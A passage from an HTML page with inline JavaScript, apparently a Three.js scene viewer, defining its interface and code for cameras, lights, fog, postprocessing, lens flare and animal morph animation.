text-transform:uppercase; padding:0.2em 0.5em; cursor:pointer; } #files_div { display:none } #textures_div { display:none } </style> </head> <body> <div id="viewport"></div> <script type="text/javascript" src="js/Three.js"></script> <script type="text/javascript" src="js/animal.js"></script> <script type="text/javascript" src="js/Slider.js"></script> <script type="text/javascript" src="js/Detector.js"></script> <script type="text/javascript" src="js/RequestAnimationFrame.js"></script> <script type="text/javascript" src="js/Stats.js"></script> <div class="overlay" id="overlayDirt"></div> <div class="overlay" id="overlayVignette"></div> <div class="overlay" id="overlayLensFlare"></div> <div id="images"></div> <div id="morphs"> <p><span class="hh">Morphing</span> <p>A <span class="kw morph_label" id="morph_a">aaa</span> <span class="kw morph_pct" id="morph_a_pct">10%</span><br/> B <span class="kw morph_label" id="morph_b">bbb</span> <span class="kw morph_pct" id="morph_b_pct">90%</span> <div id="slider_wrap2"> </div> <p>Speed <span class="morph_pct" id="speed_val">1.0</span> <div id="slider_wrap1"> </div><br/> </div> <div id="camera"> <p><span class="hh" id="cam_type">Orbit camera</span><br/> <span id="cam_location"></span> </div> <div class="hud" id="file_dialog"> <div id="drop_zone"> <div id="help"> <div id="drop_label">Drop files here</div> <small>JSON format version 2</small> <p>Drop to <span class="hh">left</span> half of window to <span class="hh">reset</span> scene<br/> drop to <span class="hh">right</span> half window to <span class="hh">append</span> to existing scene <p>Press <span class="kw">SPACE</span> to toggle user interface<br/> Press <span class="kw">R</span> to toggle axis + grid<br/> Press <span class="kw">1</span>, <span class="kw">2</span> to change camera mode<br/> <p><span class="hh">1: Camera orbit mode</span> <p><span class="kw">SHIFT</span> + mouse to rotate<br/> Mouse wheel to zoom <p><span class="hh">2: Camera fly mode</span> <p>Navigate with <span class="kw">WASD</span> / arrows / mouse<br/> <span class="kw">PgUp</span> / <span class="kw">PgDn</span> change speed<br/> Press <span class="kw">0</span> to reset fly camera <p><span class="hh">Morphing</span> <p>Move mouse left-right to control morph blending<br/> Press <span class="kw">O</span> to cycle through morphs sources A<br/> Press <span class="kw">P</span> to cycle through morphs sources B<br/> </div> </div> </div> <div class="hud" id="gui_wrapper"> <!-- <div class="button_action zshadow" id="btn_png">Create image</div> --> <span class="header">Postprocessing</span><br/> <span id="b_noise" class="chk">&nbsp;</span> <span id="l_noise" class="lbl">Noise</span> <br/> <span id="b_bloom" class="chk">&nbsp;</span> <span id="l_bloom" class="lbl">Bloom</span> <br/> <span id="b_bloomnoise" class="chk">&nbsp;</span> <span id="l_bloomnoise" class="lbl">Bloom + Noise</span> <br/> <span id="b_none" class="chk">&nbsp;</span> <span id="l_none" class="lbl">None</span> <br/> <br/> <span class="header">Overlays</span><br/> <span id="b_film" class="chk">&nbsp;</span> <span id="l_film" class="lbl">Film strips</span> <br/> <span id="b_vignette" class="chk">&nbsp;</span> <span id="l_vignette" class="lbl">Vignette</span> <br/> <span id="b_dirt" class="chk">&nbsp;</span> <span id="l_dirt" class="lbl">Dirt</span> <br/> <span id="b_lensFlare" class="chk">&nbsp;</span> <span id="l_lensFlare" class="lbl">Lens flare</span> <br/> <br/> <span class="header">Light</span><br/> <span id="b_lightWhite" class="chk">&nbsp;</span> <span id="l_lightWhite" class="lbl">White</span> <br/> <span id="b_lightCold" class="chk">&nbsp;</span> <span id="l_lightCold" class="lbl">Cold</span> <br/> <span id="b_lightWarm" class="chk">&nbsp;</span> <span id="l_lightWarm" class="lbl">Warm</span> <br/> <span id="b_lightSunset" class="chk">&nbsp;</span> <span id="l_lightSunset" class="lbl">Sunset</span> <br/> <br/> <span class="header">Scale</span><br/> <span id="b_s0001" class="chk">&nbsp;</span> <span id="l_s0001" class="lbl">0.001</span> <span id="b_s001" class="chk">&nbsp;</span> <span id="l_s001" class="lbl">0.01</span> <span id="b_s01" class="chk">&nbsp;</span> <span id="l_s01" class="lbl">0.1</span> <span id="b_s05" class="chk">&nbsp;</span> <span id="l_s05" class="lbl">0.5</span><br/> <span id="b_s1" class="chk">&diams;</span> <span id="l_s1" class="lbl">1</span> <span id="b_s2" class="chk">&diams;</span> <span id="l_s2" class="lbl">2</span> <span id="b_s5" class="chk">&diams;</span> <span id="l_s5" class="lbl">5</span> <span id="b_s10" class="chk">&nbsp;</span> <span id="l_s10" class="lbl">10</span> <span id="b_s100" class="chk">&nbsp;</span> <span id="l_s100" class="lbl">100</span> <br/><br/> <div class="button_action zshadow" id="btn_set">Export settings</div> <div class="sgroup zshadow"> <div class="tbutton" id="btn_fog">+</div> <div class="sheader">Fog</div> <div class="sinner" id="grp_fog"> <div class="sval"><span class="slabel">Density:</span> <span id="fog_density">0.0000</span></div> <div id="slider_wrap_fog_d"> </div> <div class="sval"><span class="slabel">Hue:</span> <span id="fog_hue">0.00</span></div> <div id="slider_wrap_fog_h"> </div> <div class="sval"><span class="slabel">Saturation:</span> <span id="fog_sat">0.00</span></div> <div id="slider_wrap_fog_s"> </div> <div class="sval"><span class="slabel">Value:</span> <span id="fog_val">0.00</span></div> <div id="slider_wrap_fog_v"> </div> </div> </div> <div class="sgroup zshadow"> <div class="tbutton" id="btn_noise">+</div> <div class="sheader">Noise</div> <div class="sinner" id="grp_noise"> <div class="sval"><span class="slabel">Noise intensity:</span> <span id="noise_intensity">0.00</span></div> <div id="slider_wrap_noise_i"> </div> <div class="sval"><span class="slabel">Scanlines intensity:</span> <span id="scanlines_intensity">0.00</span></div> <div id="slider_wrap_scanlines_i"> </div> <div class="sval"><span class="slabel">Scanlines count:</span> <span id="scanlines_count">0</span></div> <div id="slider_wrap_linecount"> </div> </div> </div> <div class="sgroup zshadow"> <div class="tbutton" id="btn_bloom">+</div> <div class="sheader">Bloom</div> <div class="sinner" id="grp_bloom"> <div class="sval"><span class="slabel">Intensity:</span> <span id="bloom_intensity">0.00</span></div> <div id="slider_wrap_bloom"> </div> </div> </div> <div class="sgroup zshadow"> <div class="tbutton" id="btn_alight">+</div> <div class="sheader">Ambient light</div> <div class="sinner" id="grp_alight"> <div class="sval"><span class="slabel">Hue:</span> <span id="al_hue">0.00</span></div> <div id="slider_wrap_al_h"> </div> <div class="sval"><span class="slabel">Saturation:</span> <span id="al_sat">0.00</span></div> <div id="slider_wrap_al_s"> </div> <div class="sval"><span class="slabel">Value:</span> <span id="al_val">0.00</span></div> <div id="slider_wrap_al_v"> </div> </div> </div> <div class="sgroup zshadow"> <div class="tbutton" id="btn_dlight1">+</div> <div class="sheader">Directional light 1</div> <div class="sinner" id="grp_dlight1"> <div class="sval"><span class="slabel">Hue:</span> <span id="dl1_hue">0.00</span></div> <div id="slider_wrap_dl1_h"> </div> <div class="sval"><span class="slabel">Saturation:</span> <span id="dl1_sat">0.00</span></div> <div id="slider_wrap_dl1_s"> </div> <div class="sval"><span class="slabel">Value:</span> <span id="dl1_val">0.00</span></div> <div id="slider_wrap_dl1_v"> </div> <div class="sval"><span class="slabel">Phi:</span> <span id="dl1_phi">0.00</span></div> <div id="slider_wrap_dl1_phi"> </div> <div class="sval"><span class="slabel">Theta:</span> <span id="dl1_theta">0.00</span></div> <div id="slider_wrap_dl1_theta"> </div> </div> </div> <div class="sgroup zshadow"> <div class="tbutton" id="btn_dlight2">+</div> <div class="sheader">Directional light 2</div> <div class="sinner" id="grp_dlight2"> <div class="sval"><span class="slabel">Hue:</span> <span id="dl2_hue">0.00</span></div> <div id="slider_wrap_dl2_h"> </div> <div class="sval"><span class="slabel">Saturation:</span> <span id="dl2_sat">0.00</span></div> <div id="slider_wrap_dl2_s"> </div> <div class="sval"><span class="slabel">Value:</span> <span id="dl2_val">0.00</span></div> <div id="slider_wrap_dl2_v"> </div> <div class="sval"><span class="slabel">Phi:</span> <span id="dl2_phi">0.00</span></div> <div id="slider_wrap_dl2_phi"> </div> <div class="sval"><span class="slabel">Theta:</span> <span id="dl2_theta">0.00</span></div> <div id="slider_wrap_dl2_theta"> </div> </div> </div> <!-- <div class="sgroup zshadow"> <div class="tbutton" id="btn_lensflare">+</div> <div class="sheader">Lens Flare</div> <div class="sinner" id="grp_lensflare"> <div class="sval"><span class="slabel">Vertical angle:</span> <span id="lf_x">0.00</span></div> <div id="slider_wrap_lf_x"> </div> <div class="sval"><span class="slabel">Horizontal angle:</span> <span id="lf_y">0.00</span></div> <div id="slider_wrap_lf_y"> </div> </div> </div> --> <div id="files_div"> <span class="header">Files</span><br/> <div id="file_list"></div> <br/> </div> <div id="textures_div"> <span class="header">Textures</span><br/> <div id="texture_list"></div> <br/> </div> </div> <div id="hud_button">+</div> <script type="text/javascript"> window.onload = init; if ( ! Detector.webgl ) Detector.addGetWebGLMessage(); if ( ! Detector.fileapi ) alert( 'The File APIs are not fully supported in this browser.' ); // GUI var guiVisible = true; // scales var GLOBAL_SCALE = 1, BASE_SCALE = 1, SCALES = [ [ "b_s0001", 0.001 ], [ "b_s001", 0.01 ], [ "b_s01", 0.1 ], [ "b_s05", 0.5 ], [ "b_s1", 1 ], [ "b_s2", 2 ], [ "b_s5", 5 ], [ "b_s10", 10 ], [ "b_s100", 100 ] ]; // overlays var overlays = { filmStrip: false, dirt: false, vignette: false, lensFlare: false }; // fog var fogdensity = 0.000125; var FOG = { "h": 0.0, "s": 0.0, "v": 0.0 }; // lights var ambientLight, directionalLight1, directionalLight2; var lightColors = { "white": [ { h: 0.0, s: 0.0, v: 0.1 }, { h: 0.0, s: 0.0, v: 1.0 }, { h: 0.0, s: 0.0, v: 0.2 } ], "cold": [ { h: 0.6, s: 0.2, v: 0.1 }, { h: 0.6, s: 0.2, v: 1.0 }, { h: 0.6, s: 0.4, v: 0.2 } ], "warm": [ { h: 0.1, s: 0.2, v: 0.1 }, { h: 0.1, s: 0.2, v: 1.0 }, { h: 0.1, s: 0.4, v: 0.2 } ], "sunset": [ { h: 0.1, s: 0.5, v: 0.1 }, { h: 0.1, s: 0.7, v: 1.0 }, { h: 0.1, s: 0.9, v: 0.2 } ] }; var lightType = "white"; var ALIGHT = { "h": 0.0, "s": 0.0, "v": 0.0 }; var DLIGHT1 = { "h": 0.0, "s": 0.0, "v": 0.0, "x": 1.0, "y": 1.0, "z": 1.0, "phi": 2.2, "theta": 0.33 }; var DLIGHT2 = { "h": 0.0, "s": 0.0, "v": 0.0, "x": -1.0, "y": -1.0, "z": -1.0, "phi": -0.5, "theta": 0.33 }; function updateHSV( src, dst ) { dst.h = src.h; dst.s = src.s; dst.v = src.v; }; function updateUnitVector( src ) { src.x = Math.sin( src.phi ) * Math.cos( src.theta ); src.y = Math.cos( src.phi ); src.z = Math.sin( src.phi ) * Math.sin( src.theta ); }; updateHSV( lightColors[ lightType ][ 0 ], ALIGHT ); updateHSV( lightColors[ lightType ][ 1 ], DLIGHT1 ); updateHSV( lightColors[ lightType ][ 2 ], DLIGHT2 ); updateUnitVector( DLIGHT1 ); updateUnitVector( DLIGHT2 ); var dl1SliderH, dl1SliderS, dl1SliderV, dl2SliderH, dl2SliderS, dl2SliderV; var alSliderH, alSliderS, alSliderV; var lensFlare; var lensFlareRotate; // camera var useOrbitCamera = true; var cameraDistance = 20, cameraHeight = 5, cameraHeightOriginal = cameraHeight, cameraDistanceOriginal = cameraDistance; var elCamLocation = $( "cam_location" ), elCamType = $( "cam_type" ); // scene var axisVisible = true; var arrow1, arrow2; // controls var mouseX, mouseY, mouseDelta; var windowHalfX = window.innerWidth / 2; var windowHalfY = window.innerHeight / 2; var isShiftDown = false, theta = 45; // postprocessing var postprocessing = { enabled : false }; var nSliderN, nSliderS, nSliderC; var bSlider; // morphing var morphA, morphB, morphObject, morphSpeed = 1.0; var elMorphAPct = $( "morph_a_pct" ), elMorphBPct = $( "morph_b_pct" ), elMorphA = $( "morph_a" ), elMorphB = $( "morph_b" ); // globals var SCREEN_WIDTH = window.innerWidth; var SCREEN_HEIGHT = window.innerHeight; var TEXTURE_MAP = {}, IMAGE_MAP = {}; var DragAndDrop = {}; var viewport, stats; var camera, orbitCamera, flyCamera; var scene, sceneTemp, renderer; var delta, time, oldTime; var auxRoot, sceneRoot; //init(); //animate(); function init() { viewport = $( "viewport" ); scene = new THREE.Scene(); scene.fog = new THREE.FogExp2( 0x000000, 0 ); renderer = new THREE.WebGLRenderer(); renderer.setSize( SCREEN_WIDTH, SCREEN_HEIGHT ); renderer.autoClear = false; renderer.sortObjects = false; renderer.setClearColor( scene.fog.color, 1 ); renderer.domElement.style.position = "absolute"; renderer.domElement.style.top = "0px"; renderer.domElement.style.left = "0px"; viewport.appendChild( renderer.domElement ); initPostprocessingBloomNoise( postprocessing ); // CAMERAS orbitCamera = new THREE.Camera( 40, window.innerWidth / window.innerHeight, 1, 100000 ); orbitCamera.position.set( 0, cameraHeight, cameraDistance ); orbitCamera.target.position.set( 0, 0, 0 ); flyCamera = new THREE.QuakeCamera( { fov: 40, aspect: SCREEN_WIDTH / SCREEN_HEIGHT, near: 1, far: 100000, movementSpeed: 8, lookSpeed: 0.0025, noFly: false, lookVertical: true, activeLook: false } ); flyCamera.position.set( 0, cameraHeight, cameraDistance ); flyCamera.lon = -90; camera = orbitCamera; // LIGHTS var acolor; acolor = lightColors[ lightType ][ 0 ]; d1color = lightColors[ lightType ][ 1 ]; d2color = lightColors[ lightType ][ 2 ]; ambientLight = new THREE.AmbientLight(); ambientLight.color.setHSV( acolor.h, acolor.s, acolor.v ); scene.addLight( ambientLight ); directionalLight1 = new THREE.DirectionalLight( ); scene.addLight( directionalLight1 ); directionalLight2 = new THREE.DirectionalLight( ); scene.addLight( directionalLight2 ); // STATS stats = new Stats(); stats.domElement.style.position = 'absolute'; stats.domElement.style.top = '0px'; stats.domElement.style.left = '0px'; stats.domElement.style.zIndex = 400; viewport.appendChild( stats.domElement ); iniGui(); // sliders - morphs var speedSlider = new Slider( $( "slider_wrap1" ), 200, 10, 0.01, 1.5, 1, changeMorphSpeed ); var morphSlider = new Slider( $( "slider_wrap2" ), 200, 10, 0.0, 1.0, 0, changeMorphPercent ); // sliders - fog var swidth = 170, sd = 5; var fogSliderD = new Slider( $( "slider_wrap_fog_d" ), swidth, sd, 0.0, 0.0005, 0, function(val) { scene.fog.density = val; $("fog_density").innerHTML = val.toFixed(7); } ); var fogSliderH = new Slider( $( "slider_wrap_fog_h" ), swidth, sd, 0.0, 1.0, 0, function(val) { FOG.h = val; updateFog(); $("fog_hue").innerHTML = val.toFixed(2); } ); var fogSliderS = new Slider( $( "slider_wrap_fog_s" ), swidth, sd, 0.0, 1.0, 0, function(val) { FOG.s = val; updateFog(); $("fog_sat").innerHTML = val.toFixed(2); } ); var fogSliderV = new Slider( $( "slider_wrap_fog_v" ), swidth, sd, 0.0, 1.0, 0, function(val) { FOG.v = val; updateFog(); $("fog_val").innerHTML = val.toFixed(2); } ); addGroupToggle( "btn_fog", "grp_fog" ); hide( "grp_fog" ); // sliders - noise nSliderN = new Slider( $( "slider_wrap_noise_i" ), swidth, sd, 0.0, 1.0, 0, function(val) { postprocessing.materialFilm.uniforms.nIntensity.value = val; updateNoiseDisplay(); } ); nSliderS = new Slider( $( "slider_wrap_scanlines_i" ), swidth, sd, 0.0, 1.0, 0, function(val) { postprocessing.materialFilm.uniforms.sIntensity.value = val; updateNoiseDisplay(); } ); nSliderC = new Slider( $( "slider_wrap_linecount" ), swidth, sd, 0, 4096, 0, function(val) { postprocessing.materialFilm.uniforms.sCount.value = val; updateNoiseDisplay(); } ); function updateNoiseDisplay() { if ( postprocessing.materialFilm ) { var u = postprocessing.materialFilm.uniforms; $("noise_intensity").innerHTML = u.nIntensity.value.toFixed(2); $("scanlines_intensity").innerHTML = u.sIntensity.value.toFixed(2); $("scanlines_count").innerHTML = u.sCount.value.toFixed(2); } }; if ( postprocessing.materialFilm ) { var u = postprocessing.materialFilm.uniforms; nSliderN.setValue( u.nIntensity.value ); nSliderS.setValue( u.sIntensity.value ); nSliderC.setValue( u.sCount.value ); } updateNoiseDisplay(); addGroupToggle( "btn_noise", "grp_noise" ); hide( "grp_noise" ); // sliders - bloom bSlider = new Slider( $( "slider_wrap_bloom" ), swidth, sd, 0.0, 3.0, 0, function(val) { postprocessing.materialScreen.uniforms.opacity.value = val; $("bloom_intensity").innerHTML = val.toFixed(2); } ); if ( postprocessing.materialScreen ) { var u = postprocessing.materialScreen.uniforms; bSlider.setValue( u.opacity.value ); $("bloom_intensity").innerHTML = u.opacity.value.toFixed(2); } addGroupToggle( "btn_bloom", "grp_bloom" ); hide( "grp_bloom" ); // sliders - directional light function angleDegrees( rad ) { var deg = rad * ( 180 / Math.PI ); return deg.toFixed(0); }; // sliders - directional light 1 dl1SliderH = new Slider( $( "slider_wrap_dl1_h" ), swidth, sd, 0.0, 1.0, d1color.h, function(val) { DLIGHT1.h = val; updateDLight1(); $("dl1_hue").innerHTML = val.toFixed(2); } ); dl1SliderS = new Slider( $( "slider_wrap_dl1_s" ), swidth, sd, 0.0, 1.0, d1color.s, function(val) { DLIGHT1.s = val; updateDLight1(); $("dl1_sat").innerHTML = val.toFixed(2); } ); dl1SliderV = new Slider( $( "slider_wrap_dl1_v" ), swidth, sd, 0.0, 1.0, d1color.v, function(val) { DLIGHT1.v = val; updateDLight1(); $("dl1_val").innerHTML = val.toFixed(2); } ); var dl1SliderX = new Slider( $( "slider_wrap_dl1_phi" ), swidth, sd, -3.14, 3.14, DLIGHT1.phi, function(val) { DLIGHT1.phi = val; updateDLight1(); $("dl1_phi").innerHTML = angleDegrees( val ); } ); var dl1SliderY = new Slider( $( "slider_wrap_dl1_theta" ), swidth, sd, -3.14, 3.14, DLIGHT1.theta, function(val) { DLIGHT1.theta = val; updateDLight1(); $("dl1_theta").innerHTML = angleDegrees( val ); } ); $( "dl1_phi" ).innerHTML = angleDegrees( DLIGHT1.phi ); $( "dl1_theta" ).innerHTML = angleDegrees( DLIGHT1.theta ); addGroupToggle( "btn_dlight1", "grp_dlight1" ); hide( "grp_dlight1" ); // sliders - directional light 2 dl2SliderH = new Slider( $( "slider_wrap_dl2_h" ), swidth, sd, 0.0, 1.0, d2color.h, function(val) { DLIGHT2.h = val; updateDLight2(); $("dl2_hue").innerHTML = val.toFixed(2); } ); dl2SliderS = new Slider( $( "slider_wrap_dl2_s" ), swidth, sd, 0.0, 1.0, d2color.s, function(val) { DLIGHT2.s = val; updateDLight2(); $("dl2_sat").innerHTML = val.toFixed(2); } ); dl2SliderV = new Slider( $( "slider_wrap_dl2_v" ), swidth, sd, 0.0, 1.0, d2color.v, function(val) { DLIGHT2.v = val; updateDLight2(); $("dl2_val").innerHTML = val.toFixed(2); } ); var dl2SliderX = new Slider( $( "slider_wrap_dl2_phi" ), swidth, sd, -3.14, 3.14, DLIGHT2.phi, function(val) { DLIGHT2.phi = val; updateDLight2(); $("dl2_phi").innerHTML = angleDegrees( val ); } ); var dl2SliderY = new Slider( $( "slider_wrap_dl2_theta" ), swidth, sd, -3.14, 3.14, DLIGHT2.theta, function(val) { DLIGHT2.theta = val; updateDLight2(); $("dl2_theta").innerHTML = angleDegrees( val ); } ); $( "dl2_phi" ).innerHTML = angleDegrees( DLIGHT2.phi ); $( "dl2_theta" ).innerHTML = angleDegrees( DLIGHT2.theta ); addGroupToggle( "btn_dlight2", "grp_dlight2" ); hide( "grp_dlight2" ); // sliders - lens flare /* var flSliderX = new Slider( $( "slider_wrap_lf_x" ), swidth, sd, 0.0, 45.0, 0, function(val) { updateLensflare( val, -1 ); $("lf_x").innerHTML = val.toFixed(0); } ); var flSliderY = new Slider( $( "slider_wrap_lf_y" ), swidth, sd, 0.0, 360.0, 0, function(val) { updateLensflare( -1, val ); $("lf_y").innerHTML = val.toFixed(0); } ); addGroupToggle( "btn_lensflare", "grp_lensflare" ); hide( "grp_lensflare" ); */ // sliders - ambientLight light alSliderH = new Slider( $( "slider_wrap_al_h" ), swidth, sd, 0.0, 1.0, acolor.h, function(val) { ALIGHT.h = val; updateALight(); $("al_hue").innerHTML = val.toFixed(2); } ); alSliderS = new Slider( $( "slider_wrap_al_s" ), swidth, sd, 0.0, 1.0, acolor.s, function(val) { ALIGHT.s = val; updateALight(); $("al_sat").innerHTML = val.toFixed(2); } ); alSliderV = new Slider( $( "slider_wrap_al_v" ), swidth, sd, 0.0, 1.0, acolor.v, function(val) { ALIGHT.v = val; updateALight(); $("al_val").innerHTML = val.toFixed(2); } ); addGroupToggle( "btn_alight", "grp_alight" ); hide( "grp_alight" ); // export image // doesn't work in Chrome canary and occasionally crashes dev-channel //$( "btn_png" ).addEventListener( "click", function() { window.open( renderer.domElement.toDataURL("image/png"), "_blank" ) }, false ) // export settings $( "btn_set" ).addEventListener( "click", function() { window.open( generateSettingsURL(), "_blank" ) }, false ) // lensflare lensFlare = new THREE.LensFlare( ImageUtils.loadTexture( "textures/lensflare/lensflare0.png" ), 700, 0.0, THREE.AdditiveBlending ); lensFlare.add( ImageUtils.loadTexture( "textures/lensflare/lensflare2.png" ), 512, 0.0, THREE.AdditiveBlending ); lensFlare.add( lensFlare.lensFlares[ 1 ].texture, 512, 0.0, THREE.AdditiveBlending ); lensFlare.add( lensFlare.lensFlares[ 1 ].texture, 512, 0.0, THREE.AdditiveBlending ); lensFlare.add( ImageUtils.loadTexture( "textures/lensflare/lensflare3.png" ), 60, 0.6, THREE.AdditiveBlending ); lensFlare.add( lensFlare.lensFlares[ 4 ].texture, 70, 0.7, THREE.AdditiveBlending ); lensFlare.add( lensFlare.lensFlares[ 4 ].texture, 120, 0.9, THREE.AdditiveBlending ); lensFlare.add( lensFlare.lensFlares[ 4 ].texture, 70, 1.0, THREE.AdditiveBlending ); lensFlare.customUpdateCallback = lensFlareUpdateCallback; lensFlare.position.set( 0, 0, -99000 ); lensFlareRotate = new THREE.Object3D(); lensFlareRotate.addChild( lensFlare ); scene.addChild( lensFlareRotate ); // axis auxRoot = new THREE.Object3D(); sceneRoot = new THREE.Object3D(); var axis = createAxis(); arrow1 = createArrow( 0xffaa00 ); arrow2 = createArrow( 0xff2200 ); var tempScene = createTempScene(); auxRoot.addChild( axis ); auxRoot.addChild( arrow1 ); auxRoot.addChild( arrow2 ); sceneRoot.addChild( tempScene ); scene.addChild( auxRoot ); scene.addChild( sceneRoot ); window.addEventListener( 'resize', onWindowResize, false ); window.addEventListener( 'keydown', onKeyDown, false ); window.addEventListener( 'keyup', onKeyUp, false ); window.addEventListener( 'mousemove', onMouseMove, false ); window.addEventListener( 'mousewheel', onMouseWheel, false ); oldTime = new Date().getTime(); elSpeedVal = $( "speed_val" ); animate(); setLight( lightType ); updateDLight1(); updateDLight2(); }; // export function generateSettingsURL() { var pars = {}, tmp = ""; pars.fogDensity = scene.fog.density; pars.fogColor = FOG; pars.ambientLight = ALIGHT; pars.directionalLight1 = DLIGHT1; pars.directionalLight2 = DLIGHT2; pars.effectEnabled = postprocessing.enabled; pars.effectType = postprocessing.type; if( postprocessing.materialFilm ) { pars.postprocessingNoise = { nIntensity: postprocessing.materialFilm.uniforms.nIntensity.value, sIntensity: postprocessing.materialFilm.uniforms.sIntensity.value, sCount: postprocessing.materialFilm.uniforms.sCount.value }; } if( postprocessing.materialScreen ) { pars.postprocessingBloom = { opacity: postprocessing.materialScreen.uniforms.opacity.value }; } pars.flyCamera = { position: flyCamera.position, target: flyCamera.target.position }; pars.sceneScale = GLOBAL_SCALE; tmp += "data:text/plain;charset=utf-8,"; tmp += JSON.stringify(pars, null, " "); return tmp; }; // event handlers function onKeyDown ( event ) { switch( event.keyCode ) { /* space */ case 32: toggleHUD( event ); break; /* shift */ case 16: isShiftDown = true; break; /* 1 */ case 49: setOrbitCamera(); break; /* 2 */ case 50: setFlyCamera(); break; /* 0 */ case 48: resetFlyCamera(); break; /* r */ case 82: toggleAxis(); break; /* o */ case 79: cycleMorphA(); break; /* p */ case 80: cycleMorphB(); break; /* pgup */ case 33: cameraFaster(); break; /* pgdn */ case 34: cameraSlower(); break; } //console.log( "keyCode", event.keyCode ); }; function onKeyUp( event ) { switch( event.keyCode ) { /* shift */ case 16: isShiftDown = false; break; } }; function onMouseMove ( event ) { mouseX = event.clientX - windowHalfX; mouseY = event.clientY - windowHalfY; }; function onMouseWheel( event ) { if ( event.wheelDelta ) mouseDelta = event.wheelDelta / 120; if ( event.detail ) mouseDelta = - event.detail / 3; zoomCamera( mouseDelta ); }; function onWindowResize( event ) { updateViewport(); }; function addGroupToggle( button_id, group_id ) { $( button_id ).addEventListener( 'click', function() { toggle( group_id ); }, false ); }; // fog function updateFog() { scene.fog.color.setHSV( FOG.h, FOG.s, FOG.v ); renderer.setClearColor( scene.fog.color ); }; // lights var tmpVec = new THREE.Vector3(), unitVector = new THREE.Vector3(); function updateDLight1() { updateUnitVector( DLIGHT1 ); directionalLight1.position.set( DLIGHT1.x, DLIGHT1.y, DLIGHT1.z ); directionalLight1.color.setHSV( DLIGHT1.h, DLIGHT1.s, DLIGHT1.v ); tmpVec.copy( directionalLight1.position ); tmpVec.multiplyScalar( -1 ); arrow1.lookAt( tmpVec ); }; function updateDLight2() { updateUnitVector( DLIGHT2 ); directionalLight2.position.set( DLIGHT2.x, DLIGHT2.y, DLIGHT2.z ); directionalLight2.color.setHSV( DLIGHT2.h, DLIGHT2.s, DLIGHT2.v ); tmpVec.copy( directionalLight2.position ); tmpVec.multiplyScalar( -1 ); arrow2.lookAt( tmpVec ); }; function updateALight() { ambientLight.color.setHSV( ALIGHT.h, ALIGHT.s, ALIGHT.v ); }; function updateLensflare( newX, newY ) { // update X? if( newX !== -1 ) { lensFlareRotate.rotation.x = newX * Math.PI / 180; } else { lensFlareRotate.rotation.y = newY * Math.PI / 180; } } function lensFlareUpdateCallback( visibility, object ) { var f, fl = object.lensFlares.length; var flare; var vecX = -object.positionScreen.x * 2; var vecY = -object.positionScreen.y * 2; for( f = 0; f < fl; f++ ) { flare = object.lensFlares[ f ]; flare.x = object.positionScreen.x + vecX * flare.distance; flare.y = object.positionScreen.y + vecY * flare.distance; flare.wantedScale = visibility * 0.1 + 0.9; flare.wantedOpacity = visibility; flare.scale += ( flare.wantedScale - flare.scale ) * 0.15; flare.opacity += ( flare.wantedOpacity - flare.opacity ) * 0.5; flare.rotation = 0; } // hard coded stuff object.lensFlares[ 1 ].scale = visibility * 0.3 + 0.9; object.lensFlares[ 2 ].y += 0.025; object.lensFlares[ 2 ].scale = visibility * 0.3 + 0.6; object.lensFlares[ 2 ].opacity = Math.max( 0, object.lensFlares[ 2 ].opacity - 0.20 * visibility ); object.lensFlares[ 3 ].rotation = object.positionScreen.x * 0.5 + 45 * Math.PI / 180; object.lensFlares[ 3 ].scale += 0.1; object.lensFlares[ 3 ].opacity = Math.max( 0, object.lensFlares[ 3 ].opacity - 0.10 * visibility ); object.lensFlares[ 4 ].opacity = Math.max( 0, object.lensFlares[ 4 ].opacity - 0.20 ); object.lensFlares[ 5 ].opacity = Math.max( 0, object.lensFlares[ 4 ].opacity - 0.10 * visibility ); object.lensFlares[ 6 ].opacity = Math.max( 0, object.lensFlares[ 4 ].opacity - 0.15 ); object.lensFlares[ 7 ].opacity = Math.max( 0, object.lensFlares[ 4 ].opacity - 0.25 * visibility ); } // axis function createAxis() { var axis = new THREE.Object3D(), d = 0.05; var mesh = new THREE.Mesh( new Cube( 1, d, d ), new THREE.MeshLambertMaterial( { color: 0xff0000 } ) ); mesh.position.set( 0.5, 0, 0 ); axis.addChild( mesh ); mesh = new THREE.Mesh( new Cube( d, 1, d ), new THREE.MeshLambertMaterial( { color: 0x00ff00 } ) ); mesh.position.set( 0, 0.5, 0 ); axis.addChild( mesh ); mesh = new THREE.Mesh( new Cube( d, d, 1 ), new THREE.MeshLambertMaterial( { color: 0x0000ff } ) ); mesh.position.set( 0, 0, 0.5 ); axis.addChild( mesh ); mesh = new THREE.Mesh( new Plane( 100, 100, 100, 100 ), new THREE.MeshLambertMaterial( { color: 0xffffff, wireframe: true } ) ); mesh.rotation.set( -1.57, 0, 0 ); axis.addChild( mesh ); return axis; }; function createArrow( color ) { var arrow = new THREE.Object3D(), d = 0.05; var material = new THREE.MeshBasicMaterial( { color: color } ); var mesh = new THREE.Mesh( new Cube( d, d, 1 ), material ); mesh.position.set( 0, 0, -0.5 ); arrow.addChild( mesh ); mesh = new THREE.Mesh( new Cylinder( 4, 0.001, 0.25, 0.5 ), material ); mesh.position.set( 0, 0, -1 ); arrow.addChild( mesh ); arrow.rotation.set( 0, 0, 0 ); return arrow; }; function toggleAxis() { axisVisible = !axisVisible; SceneUtils.showHierarchy( auxRoot, axisVisible ); }; // camera controls function cameraFaster() { flyCamera.movementSpeed += 0.125; }; function cameraSlower() { flyCamera.movementSpeed = cap_bottom( flyCamera.movementSpeed - 0.125, 0 ); }; function setOrbitCamera() { camera = orbitCamera; elCamType.innerHTML = "Orbit camera"; }; function setFlyCamera() { camera = flyCamera; elCamType.innerHTML = "Fly camera"; }; function resetFlyCamera() { flyCamera.position.set( 0, cameraHeightOriginal, cameraDistanceOriginal ); flyCamera.target.position.set( 0, 0, 0 ); flyCamera.lon = -90; }; function zoomCamera( delta ) { cameraDistance = cap_bottom( cameraDistance - 0.75 * delta, 1 ); }; // morph controls function updateMorphs() { var nameA = morphObject.availableAnimals[ morphA ], nameB = morphObject.availableAnimals[ morphB ]; morphObject.play( nameA, nameB ); elMorphA.innerHTML = nameA; elMorphB.innerHTML = nameB; }; function cycleMorphA() { if( morphObject && morphObject.availableAnimals && morphObject.availableAnimals.length > 1 ) { morphA = ( morphA + 1 ) % morphObject.availableAnimals.length; updateMorphs(); } }; function cycleMorphB() { if( morphObject && morphObject.availableAnimals && morphObject.availableAnimals.length > 1 ) { morphB = ( morphB + 1 ) % morphObject.availableAnimals.length; updateMorphs(); } }; function changeMorphSpeed( val ) { elSpeedVal.innerHTML = val.toFixed( 2 ); if ( morphObject ) { morphObject.animalA.timeScale = morphObject.animalB.timeScale = val; } }; function changeMorphPercent( val ) { if ( morphObject ) { 